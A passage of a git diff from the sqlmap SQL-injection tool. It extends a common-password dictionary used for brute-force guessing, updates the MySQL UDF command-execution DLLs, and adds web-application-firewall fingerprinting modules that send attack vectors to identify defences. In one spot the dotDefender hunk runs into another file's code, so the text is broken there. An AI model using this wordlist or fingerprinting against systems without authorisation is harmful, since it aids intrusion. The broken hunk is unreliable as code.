+pineapple +pingpong pink pinkfloyd piolin @@ -3026,6 +3238,7 @@ play playboy player players +playstation please plex plus @@ -3039,6 +3252,7 @@ po8 poa poetic poetry +poison poiuyt pokemon polar @@ -3083,11 +3297,16 @@ portal_demo portal_sso_ps porter portland +portugal pos +potato +potter power powercartuser +powers ppp PPP +pppppp praise prayer precious @@ -3105,8 +3324,10 @@ princess Princess princess1 print +printer printing private +prodigy prof prometheus property @@ -3133,6 +3354,7 @@ Purple pussies pussy pussy1 +pussycat pv pw123 pyramid @@ -3235,6 +3457,7 @@ razz re reality realmadrid +reaper rebecca Rebecca red @@ -3242,6 +3465,7 @@ red123 redcloud reddog redfish +redhead redman redrum redskins @@ -3252,6 +3476,7 @@ redwood reed reggae reggie +regina rejoice reliant remember @@ -3306,24 +3531,29 @@ roberto roberts robin robinhood +robinson robocop robotech robotics roche rock +rocker rocket rocket1 rockie rocknroll rockon +rockstar rocky rocky1 rodeo +rodney roger roger1 rogers roland rolex +roller rolltide roman romantico @@ -3332,6 +3562,7 @@ ronald ronaldo roni ronica +ronnie rookie rooster root123 @@ -3340,6 +3571,7 @@ rootroot rosario rose rosebud +rosemary roses rosie rosita @@ -3385,6 +3617,7 @@ sally salmon salou25 salut +salvador salvation sam samantha @@ -3401,6 +3634,7 @@ samson samsung samuel samuel22 +samurai sandi sandman sandra @@ -3425,6 +3659,7 @@ saturn Saturn saturn5 savage +savannah sbdc scarecrow scarface @@ -3471,6 +3706,7 @@ september septiembre serega serena +serenity sergei sergey sergio @@ -3492,6 +3728,7 @@ Shadow shadow1 shaggy shalom +shamrock shanghai shannon shanny @@ -3513,6 +3750,7 @@ shelley shelly shelter shelves +sherlock sherry ship shirley @@ -3520,11 +3758,13 @@ shit shithead shoes shogun +shopping shorty shorty1 shotgun Sidekick sidney +siemens sierra Sierra sigmachi @@ -3532,9 +3772,11 @@ signal signature si_informtn_schema silver +silvia simba simba1 simon +simone simple simpson simpsons @@ -3542,10 +3784,13 @@ simsim sinatra sinegra singer +single sirius +sister sister12 siteminder skate +skater skeeter Skeeter skibum @@ -3555,6 +3800,7 @@ skip skipper skipper1 skippy +skittles skull skunk skydive @@ -3607,10 +3853,13 @@ sober1 soccer soccer1 soccer2 +socrates softball +software soledad soleil solomon +something sonic sonics sonny @@ -3624,13 +3873,16 @@ soyhermosa space spain spanky +sparkle sparks sparky Sparky sparrow spartan spazz +speaker special +spectrum speedo speedy Speedy @@ -3658,6 +3910,7 @@ spurs sql sqlexec squash +squirrel squirt srinivas ssp @@ -3666,10 +3919,14 @@ ssssss stacey stalker stan +standard stanley star star69 starbuck +starcraft +stardust +starfish stargate starlight stars @@ -3682,6 +3939,7 @@ stealth steel steele steelers +stefan stella steph steph1 @@ -3689,6 +3947,7 @@ stephani stephanie stephen stephi +sterling Sterling steve steve1 @@ -3706,6 +3965,7 @@ stinky stivers stocks stone +stones storage storm stormy @@ -3714,7 +3974,9 @@ strat strato strat_passwd strawberry +street stretch +strike strong stuart stud @@ -3731,6 +3993,7 @@ suckme sudoku sue sugar +sullivan sultan summer Summer @@ -3776,6 +4039,7 @@ svetlana swanson sweden sweet +sweetheart sweetie sweetpea sweety @@ -3789,6 +4053,7 @@ swordfish swpro swuser sydney +sylvester sylvia sylvie symbol @@ -3845,6 +4110,7 @@ teflon tekila telecom telefono +telephone temp temp! temp123 @@ -3858,6 +4124,7 @@ tequiero tequila teresa terminal +terminator terry terry1 test @@ -3874,6 +4141,7 @@ testpilot testtest test_user texas +thailand thankyou the theatre @@ -3884,6 +4152,7 @@ thejudge theking thelorax theman +theodore theresa Theresa therock @@ -3934,8 +4203,10 @@ toby today tokyo tom +tomato tomcat tommy +tomtom tony tool tootsie @@ -3970,6 +4241,8 @@ trevor tricia tricky trident +trigger +trinidad trinity trish tristan @@ -3977,11 +4250,13 @@ triton trixie trojan trombone +trooper trophy trouble trout truck trucker +truelove truman trumpet trustno1 @@ -3996,10 +4271,13 @@ turbine turbo turbo2 turkey +turner turtle tweety tweety1 +twilight twins +twister twitter tybnoq tyler @@ -4008,12 +4286,15 @@ ultimate um_admin um_client undead +undertaker underworld unicorn unicornio unique united unity +universal +universe universidad unix unknown @@ -4038,6 +4319,7 @@ vacation vader vagina val +valencia valentin valentina valentinchoque @@ -4088,12 +4370,14 @@ viper viper1 virago virgil +virgin virginia virus viruser visa vision visual +vivian vladimir volcano volley @@ -4107,6 +4391,7 @@ waiting walden waldo walker +wallace walleye wally walter @@ -4117,6 +4402,7 @@ warner warren warrior warriors +washington water water1 Waterloo @@ -4134,9 +4420,11 @@ Webster wedge weezer welcome +welcome1 welcome123 wendy wendy1 +werewolf wesley west western @@ -4153,6 +4441,7 @@ whitney whocares whoville wibble +wicked wiesenhof wilbur wildcat @@ -4208,12 +4497,14 @@ Woodrow woody woofwoof word +wordpass work123 world World worship wps wrangler +wrestling wright writer writing diff --git a/txt/user-agents.txt b/txt/user-agents.txt index 602e9d3c3d1..2e0b12bf76a 100644 --- a/txt/user-agents.txt +++ b/txt/user-agents.txt @@ -1,4 +1,4 @@ -# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) # See the file 'LICENSE' for copying permission # Opera diff --git a/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/udf/mysql/windows/32/lib_mysqludf_sys.dll_ index ae438d63619..22a11422050 100644 Binary files a/udf/mysql/windows/32/lib_mysqludf_sys.dll_ and b/udf/mysql/windows/32/lib_mysqludf_sys.dll_ differ diff --git a/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/udf/mysql/windows/64/lib_mysqludf_sys.dll_ index c06f77f2294..3641746f11a 100644 Binary files a/udf/mysql/windows/64/lib_mysqludf_sys.dll_ and b/udf/mysql/windows/64/lib_mysqludf_sys.dll_ differ diff --git a/waf/360.py b/waf/360.py index 07b01603a9b..25c61f75a3d 100644 --- a/waf/360.py +++ b/waf/360.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/__init__.py b/waf/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/waf/__init__.py +++ b/waf/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/aesecure.py b/waf/aesecure.py new file mode 100644 index 00000000000..4c85b8b5d8a --- /dev/null +++ b/waf/aesecure.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "aeSecure (aeSecure)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, _ = get_page(get=vector) + retval = headers.get("aeSecure-code") is not None + retval |= all(_ in (page or "") for _ in ("aeSecure", "aesecure_denied.png")) + if retval: + break + + return retval diff --git a/waf/airlock.py b/waf/airlock.py index 9dc6078ffc0..fe6b9db6eb4 100644 --- a/waf/airlock.py +++ b/waf/airlock.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: _, headers, _ = get_page(get=vector) - retval = re.search(r"\AAL[_-]?(SESS|LB)=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval = re.search(r"\AAL[_-]?(SESS|LB)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None if retval: break diff --git a/waf/anquanbao.py b/waf/anquanbao.py index 4aacfab521a..d0b3d36e6b5 100644 --- a/waf/anquanbao.py +++ b/waf/anquanbao.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) retval = re.search(r"MISS", headers.get("X-Powered-By-Anquanbao", ""), re.I) is not None - retval |= code == 405 and "/aqb_cc/error/" in (page or "") + retval |= code == 405 and any(_ in (page or "") for _ in ("/aqb_cc/error/", "hidden_intercept_time")) if retval: break diff --git a/waf/approach.py b/waf/approach.py new file mode 100644 index 00000000000..80e9d563662 --- /dev/null +++ b/waf/approach.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Approach Web Application Firewall (Approach)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = re.search(r"Approach Web Application Firewall", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"Approach()? Web Application Firewall", page or "", re.I) is not None + retval |= " Your IP address has been logged and this information could be used by authorities to track you." in (page or "") + retval |= all(_ in (page or "") for _ in ("Sorry for the inconvenience!", "If this was an legitimate request please contact us with details!")) + if retval: + break + + return retval diff --git a/waf/armor.py b/waf/armor.py index 1ca7fc542e8..266c94ab8e1 100644 --- a/waf/armor.py +++ b/waf/armor.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/asm.py b/waf/asm.py index 330579ad50b..6f07d5909a7 100644 --- a/waf/asm.py +++ b/waf/asm.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -15,6 +15,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, _, _ = get_page(get=vector) retval = "The requested URL was rejected. Please consult with your administrator." in (page or "") + retval |= all(_ in (page or "") for _ in ("This page can't be displayed. Contact support for additional information", "The incident ID is:")) if retval: break diff --git a/waf/aws.py b/waf/aws.py index aa561629964..694ad589f0b 100644 --- a/waf/aws.py +++ b/waf/aws.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/baidu.py b/waf/baidu.py index b9dbcd89436..50e5542cad4 100644 --- a/waf/baidu.py +++ b/waf/baidu.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/barracuda.py b/waf/barracuda.py index daad0577175..0e769a65b17 100644 --- a/waf/barracuda.py +++ b/waf/barracuda.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/bigip.py b/waf/bigip.py index 82a39a7978c..ff1d5dc7833 100644 --- a/waf/bigip.py +++ b/waf/bigip.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -19,7 +19,7 @@ def detect(get_page): _, headers, code = get_page(get=vector) retval = headers.get("X-Cnection", "").lower() == "close" retval |= headers.get("X-WA-Info") is not None - retval |= re.search(r"\ATS\w{4,}=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None + retval |= re.search(r"\bTS[0-9a-f]+=", headers.get(HTTP_HEADER.SET_COOKIE, "")) is not None retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= re.search(r"\AF5\Z", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None diff --git a/waf/binarysec.py b/waf/binarysec.py index dd98a527088..31905d1de51 100644 --- a/waf/binarysec.py +++ b/waf/binarysec.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/blockdos.py b/waf/blockdos.py index af2ea4c8f5f..fe430ad70c7 100644 --- a/waf/blockdos.py +++ b/waf/blockdos.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/bluedon.py b/waf/bluedon.py new file mode 100644 index 00000000000..c38b025a6e2 --- /dev/null +++ b/waf/bluedon.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import HTTP_HEADER +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Bluedon Web Application Firewall (Bluedon Information Security Technology)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = re.search(r"BDWAF", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None + retval |= re.search(r"Bluedon Web Application Firewall", page or "", re.I) is not None + if retval: + break + + return retval diff --git a/waf/chinacache.py b/waf/chinacache.py new file mode 100644 index 00000000000..caf223851b2 --- /dev/null +++ b/waf/chinacache.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'doc/COPYING' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "ChinaCache (ChinaCache Networks)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = code >= 400 and headers.get("Powered-By-ChinaCache") is not None + + if retval: + break + + return retval \ No newline at end of file diff --git a/waf/ciscoacexml.py b/waf/ciscoacexml.py index 277a27f4e11..ec6d2c44e66 100644 --- a/waf/ciscoacexml.py +++ b/waf/ciscoacexml.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/cloudbric.py b/waf/cloudbric.py new file mode 100644 index 00000000000..6f2931f55e2 --- /dev/null +++ b/waf/cloudbric.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Cloudbric Web Application Firewall (Cloudbric)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, headers, code = get_page(get=vector) + retval = code >= 400 and all(_ in (page or "") for _ in ("Cloudbric", "Malicious Code Detected")) + + return retval diff --git a/waf/cloudflare.py b/waf/cloudflare.py index 5712f0957f7..2112eba936f 100644 --- a/waf/cloudflare.py +++ b/waf/cloudflare.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -17,12 +17,15 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = re.search(r"cloudflare-nginx", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if code >= 400: + retval |= re.search(r"cloudflare", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None retval |= re.search(r"\A__cfduid=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= headers.get("cf-ray") is not None retval |= re.search(r"CloudFlare Ray ID:|var CloudFlare=", page or "") is not None + retval |= all(_ in (page or "") for _ in ("Attention Required! | Cloudflare", "Please complete the security check to access")) + retval |= all(_ in (page or "") for _ in ("Attention Required! | Cloudflare", "Sorry, you have been blocked")) + retval |= any(_ in (page or "") for _ in ("CLOUDFLARE_ERROR_500S_BOX", "::CAPTCHA_BOX::")) if retval: break diff --git a/waf/cloudfront.py b/waf/cloudfront.py index 5969befe411..081c9750209 100644 --- a/waf/cloudfront.py +++ b/waf/cloudfront.py @@ -1,13 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re -from lib.core.enums import HTTP_HEADER from lib.core.settings import WAF_ATTACK_VECTORS __product__ = "CloudFront (Amazon)" @@ -18,9 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: _, headers, _ = get_page(get=vector) - retval |= re.search(r"cloudfront", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= re.search(r"cloudfront", headers.get("X-Cache", ""), re.I) is not None - retval |= headers.get("X-Amz-Cf-Id") is not None + retval = re.search(r"Error from cloudfront", headers.get("X-Cache", ""), re.I) is not None if retval: break diff --git a/waf/comodo.py b/waf/comodo.py index f37902f85d3..6fd2c114a12 100644 --- a/waf/comodo.py +++ b/waf/comodo.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/crawlprotect.py b/waf/crawlprotect.py new file mode 100644 index 00000000000..669c927ec5c --- /dev/null +++ b/waf/crawlprotect.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "CrawlProtect (Jean-Denis Brun)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + page, _, code = get_page(get=vector) + retval = code >= 400 and "This site is protected by CrawlProtect" in (page or "") + + return retval diff --git a/waf/datapower.py b/waf/datapower.py index 3e292c2cd93..b1af70a8f6a 100644 --- a/waf/datapower.py +++ b/waf/datapower.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/denyall.py b/waf/denyall.py index 807136f2688..6da57b63d6e 100644 --- a/waf/denyall.py +++ b/waf/denyall.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/distil.py b/waf/distil.py new file mode 100644 index 00000000000..4747e17291e --- /dev/null +++ b/waf/distil.py @@ -0,0 +1,21 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.settings import WAF_ATTACK_VECTORS + +__product__ = "Distil Web Application Firewall Security (Distil Networks)" + +def detect(get_page): + retval = False + + for vector in WAF_ATTACK_VECTORS: + _, headers, _ = get_page(get=vector) + retval = headers.get("x-distil-cs") is not None + if retval: + break + + return retval diff --git a/waf/dosarrest.py b/waf/dosarrest.py index 42b14a3721a..5d9666689b8 100644 --- a/waf/dosarrest.py +++ b/waf/dosarrest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/dotdefender.py b/waf/dotdefender.py index b7713e21c63..cf9c2d01c19 100644 --- a/waf/dotdefender.py +++ b/waf/dotdefender.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -15,7 +15,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, _ = get_page(get=vector) retval = headers.get("X-dotDefender-denied", "") == "1" - retval |= "dotDefender Blocked Your Request" in (page or "") + retval |= any(_ in (page or "") for _ in ("dotDefender Blocked Your Request", '= 400 or (IDS_WAF_CHECK_PAYLOAD in vector and (code is None or re.search(GENERIC_PROTECTION_REGEX, page or "") and not re.search(GENERIC_PROTECTION_REGEX, original or ""))): if code is not None: - kb.wafSpecificResponse = "HTTP/1.1 %s\n%s\n%s" % (code, "".join(_ for _ in headers.headers or [] if not _.startswith("URI")), page) + kb.wafSpecificResponse = "HTTP/1.1 %s\n%s\n%s" % (code, "".join(_ for _ in (headers.headers if headers else {}) or [] if not _.startswith("URI")), page) retval = True break diff --git a/waf/hyperguard.py b/waf/hyperguard.py index 78aa1c7a98a..619e6f04fad 100644 --- a/waf/hyperguard.py +++ b/waf/hyperguard.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/incapsula.py b/waf/incapsula.py index f2bc0b5de7b..2d52644560b 100644 --- a/waf/incapsula.py +++ b/waf/incapsula.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -19,7 +19,9 @@ def detect(get_page): page, headers, _ = get_page(get=vector) retval = re.search(r"incap_ses|visid_incap", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None retval |= re.search(r"Incapsula", headers.get("X-CDN", ""), re.I) is not None - retval |= "Incapsula incident ID" in (page or "") + retval |= any(_ in (page or "") for _ in ("Incapsula incident ID", "_Incapsula_Resource?", "?subject=WAF Block Page:")) + retval |= all(_ in (page or "") for _ in ("Application Firewall Error", "If you feel you have been blocked in error, please contact Customer Support")) + retval |= headers.get("X-Iinfo") is not None if retval: break diff --git a/waf/isaserver.py b/waf/isaserver.py index df83c6ff099..2f4f11137f5 100644 --- a/waf/isaserver.py +++ b/waf/isaserver.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/jiasule.py b/waf/jiasule.py index 20aff285cd7..465cdcf75f2 100644 --- a/waf/jiasule.py +++ b/waf/jiasule.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/knownsec.py b/waf/knownsec.py index 3372a6b2218..fc6f629b864 100644 --- a/waf/knownsec.py +++ b/waf/knownsec.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/kona.py b/waf/kona.py index 47824f0198d..be124a92c18 100644 --- a/waf/kona.py +++ b/waf/kona.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -17,7 +17,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) - retval = code in (400, 403, 501) and re.search(r"Reference #[0-9a-f.]+", page or "", re.I) is not None + retval = code in (400, 403, 501) and all(_ in (page or "") for _ in ("Access Denied", "You don't have permission to access", "on this server", "Reference")) retval |= re.search(r"AkamaiGHost", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None if retval: break diff --git a/waf/modsecurity.py b/waf/modsecurity.py index d6d0ecbef81..d5d6d8ff41f 100644 --- a/waf/modsecurity.py +++ b/waf/modsecurity.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -18,7 +18,7 @@ def detect(get_page): for vector in WAF_ATTACK_VECTORS: page, headers, code = get_page(get=vector) retval = re.search(r"Mod_Security|NOYB", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None - retval |= "This error was generated by Mod_Security" in (page or "") + retval |= any(_ in (page or "") for _ in ("This error was generated by Mod_Security", "One or more things in your request were suspicious", "rules of the mod_security module", "The page you are trying to access is restricted due to a security rule")) if retval: break diff --git a/waf/naxsi.py b/waf/naxsi.py index 7fb42a11858..494d91db72c 100644 --- a/waf/naxsi.py +++ b/waf/naxsi.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/netcontinuum.py b/waf/netcontinuum.py index f899a2eeb73..2a5aaf1b7c0 100644 --- a/waf/netcontinuum.py +++ b/waf/netcontinuum.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/netscaler.py b/waf/netscaler.py index 52e6bc0490f..7a8ac59685f 100644 --- a/waf/netscaler.py +++ b/waf/netscaler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/newdefend.py b/waf/newdefend.py index 9153e8f1999..c96208a36b0 100644 --- a/waf/newdefend.py +++ b/waf/newdefend.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/nsfocus.py b/waf/nsfocus.py index 758ba293bad..b5c95804e71 100644 --- a/waf/nsfocus.py +++ b/waf/nsfocus.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/paloalto.py b/waf/paloalto.py index 095006fbed9..b23892a2c2d 100644 --- a/waf/paloalto.py +++ b/waf/paloalto.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/profense.py b/waf/profense.py index fef24231b82..85ad6d22e14 100644 --- a/waf/profense.py +++ b/waf/profense.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/proventia.py b/waf/proventia.py index d59f23b5713..3aca6a3d66c 100644 --- a/waf/proventia.py +++ b/waf/proventia.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/radware.py b/waf/radware.py index 42642136dc0..560a50fe1b7 100644 --- a/waf/radware.py +++ b/waf/radware.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/waf/reblaze.py b/waf/reblaze.py new file mode 100644 index 00000000000..a5a6a7936c1 --- /dev/null +++ b/waf/reblaze.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2019 